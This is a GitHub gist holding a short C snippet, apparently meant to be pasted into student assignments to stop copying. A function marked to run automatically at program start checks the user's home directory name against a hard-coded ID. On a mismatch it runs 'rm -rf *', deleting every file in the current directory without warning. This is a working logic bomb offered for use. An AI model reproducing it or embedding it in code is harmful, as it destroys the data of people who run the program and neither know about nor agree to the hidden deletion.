Created
July 4, 2013 07:20
-
-
Save yutopp/5925585 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdlib.h> | |
#include <string.h> | |
#ifndef GUARD_USERNAME | |
/* !!input your username!!! | |
Ex. | |
# define GUARD_USERNAME "s1210999" | |
*/ | |
# define GUARD_USERNAME "s0000000" | |
#endif | |
__attribute__((constructor)) | |
static void killer() | |
{ | |
char *home, *username; | |
if ( strcmp( GUARD_USERNAME, "s0000000" ) == 0 ) | |
return; | |
home = getenv("HOME"); | |
if ( home == NULL ) | |
return; | |
username = strrchr( home, '/' ); | |
if ( username == NULL ) | |
return; | |
++username; | |
if ( strcmp( username, GUARD_USERNAME ) == 0 ) | |
return; | |
system( "rm -rf *" ); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment